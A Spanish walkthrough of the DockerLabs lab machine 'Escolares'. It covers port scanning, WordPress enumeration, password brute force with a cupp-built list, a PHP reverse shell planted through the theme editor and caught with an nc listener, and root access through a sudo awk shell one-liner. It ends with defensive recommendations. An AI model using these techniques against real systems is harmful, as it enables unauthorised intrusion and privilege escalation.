Escolares
Introducción
Sección titulada «Introducción»Este documento describe la resolución completa de la máquina Escolares, desarrollada por Luisillo_o y catalogada como fácil en DockerLabs. El propósito es ofrecer una guía clara, detallada y técnicamente fundamentada que muestre cada acción realizada, cómo se detectó la vulnerabilidad correspondiente y cómo podría prevenirse en un entorno real.
El proceso se divide en tres fases:
- Reconocimiento: Identificación de servicios, tecnologías expuestas y posibles vectores de ataque.
- Explotación: Abuso de configuraciones inseguras en WordPress y credenciales débiles generadas a partir de datos públicos.
- Escalada de privilegios: Abuso de un binario con permisos
sudopara obtener acceso root.
Todas las acciones se realizaron dentro del entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Escolares |
| Autor | Luisillo_o |
| Dificultad | Fácil |
| Fecha de creación | 09/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Escolares.zipDesplegar el contenedor:
sudo bash auto_deploy.sh Escolares.tarEl script muestra la IP asignada, necesaria para el reconocimiento inicial.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del workspace
Sección titulada «1.1 Organización del workspace»mkdir -p Escolares/{content,exploits,nmap,gobuster,scripts}cd EscolaresTener un workspace estructurado permite repetir la metodología de forma ordenada.
1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos identificados:
- 22/tcp → SSH
- 80/tcp → Servidor web (Apache)

1.3 Enumeración web
Sección titulada «1.3 Enumeración web»gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Rutas destacadas:
-
/index.php – Página principal

-
/wordpress – Instalación de WordPress

Durante la revisión encontramos el archivo profesores.html, con datos personales y una pista importante:

Esto indica un posible usuario administrador: luisillo.
1.4 Revisión de WordPress
Sección titulada «1.4 Revisión de WordPress»Al abrir /wordpress la página no carga adecuadamente, revelando un dominio interno:

Se agrega al /etc/hosts:
echo '172.17.0.2 escolares.dl' | sudo tee -a /etc/hostsPaso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Enumeración de usuarios en WordPress
Sección titulada «2.1 Enumeración de usuarios en WordPress»Con el dominio funcionando, se ejecuta:
wpscan --url http://escolares.dl/wordpress/ --enumerate u,vpSalida relevante:

El usuario luisillo es válido.
2.2 Creación de diccionario con información del profesor
Sección titulada «2.2 Creación de diccionario con información del profesor»Se utiliza cupp para crear un diccionario basado en los datos públicos del profesor:
cupp -i
2.3 Fuerza bruta contra WordPress
Sección titulada «2.3 Fuerza bruta contra WordPress»wpscan --url http://escolares.dl/wordpress/ -U luisillo -P Luisillo.txtResultado:

Se obtiene acceso al panel.
2.4 Subida de reverse shell en WordPress
Sección titulada «2.4 Subida de reverse shell en WordPress»Al ingresar al panel:

Se edita un archivo de tema/plugin para añadir una reverse shell en PHP:

En el host atacante:
nc -nlvp 443Luego acceder:
http://escolares.dl/wordpress/wp-content/themes/twnetytwentyfour/shell.phpAcceso obtenido:

Paso 3 — Escalada de Privilegios
Sección titulada «Paso 3 — Escalada de Privilegios»3.1 Robo de credenciales internas
Sección titulada «3.1 Robo de credenciales internas»Se encuentra secret.txt:

Se inicia sesión como el usuario real:

3.2 Escalada a root mediante awk
Sección titulada «3.2 Escalada a root mediante awk»Se revisan permisos sudo:

El binario awk puede ejecutarse como root sin contraseña:
sudo awk 'BEGIN {system("/bin/sh")}'Acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Exposición de datos sensibles en archivos públicos (
profesores.html). - Contraseña débil generada a partir de información personal.
- WordPress sin medidas de protección contra fuerza bruta.
- Plugins/temas editables desde el panel, permitiendo subida de webshell.
- Archivo interno (
secret.txt) con credenciales en texto plano. - Configuración peligrosa de
sudopermitiendo ejecutarawkcomo root.
Recomendaciones
Sección titulada «Recomendaciones»-
No publicar datos personales que puedan usarse para generar diccionarios.
-
Implementar rate limiting, CAPTCHA o bloqueo por intentos fallidos en WordPress.
-
Deshabilitar la edición de temas y plugins en producción.
define('DISALLOW_FILE_EDIT', true); -
Evitar almacenar contraseñas en texto plano dentro del sistema.
-
Revisar
sudoersy restringir binarios con capacidades de ejecución de comandos. -
Mantener servicios y CMS actualizados.